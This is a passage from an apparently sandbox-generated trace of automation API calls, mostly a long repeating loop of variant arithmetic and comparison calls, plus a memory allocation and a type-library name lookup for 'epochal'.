| out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.251] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.251] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.252] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.252] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.253] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.253] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.254] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.254] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.255] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x8300000 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="epochal") returned 0x1082b3 [0018.256] strcpy_s (in: _Dst=0x263640, _DstSize=0x8, _Src="epochal" | out: _Dst="epochal") returned 0x0 [0018.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x263640, cbMultiByte=8, lpWideCharStr=0x2634a0, cchWideChar=8 | out: lpWideCharStr="epochal") returned 8 [0018.256] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.256] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="epochal", lHashVal=0x1082b3, pfName=0x2635f8, pBstrLibName=0x2634a0 | out: pfName=0x2635f8*=0, pBstrLibName=0x2634a0) returned 0x0 [0018.256] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.256] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.256] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="epochal", lHashVal=0x1082b3, pfName=0x2635f8, pBstrLibName=0x2634a0 | out: pfName=0x2635f8*=0, pBstrLibName=0x2634a0) returned 0x0 [0018.256] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.256] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.256] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="epochal", lHashVal=0x1082b3, pfName=0x2635f8, pBstrLibName=0x2634a0 | out: pfName=0x2635f8*=0, pBstrLibName=0x2634a0) returned 0x0 [0018.256] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.256] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.256] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="epochal", lHashVal=0x1082b3, pfName=0x2635f8, pBstrLibName=0x2634a0 | out: pfName=0x2635f8*=0, pBstrLibName=0x2634a0) returned 0x0 [0018.256] IUnknown:Release (This=0x7479720) returned 0x5 [0018.256] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_epochal") returned 0x308637 [0018.257] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.257] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.257] SafeArrayAllocData (psa=0x7461860) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarCmp (pvarLeft=0x7461840, pvarRight=0x7461828, lcid=0x0, dwFlags=0x30001) returned 0x0 [0018.257] VarSub (in: pvarLeft=0x7461840, pvarRight=0x7461828, pvarResult=0x7461810 | out: pvarResult=0x7461810) returned 0x0 [0018.257] VarAdd (in: pvarLeft=0x7461840, pvarRight=0x7461828, 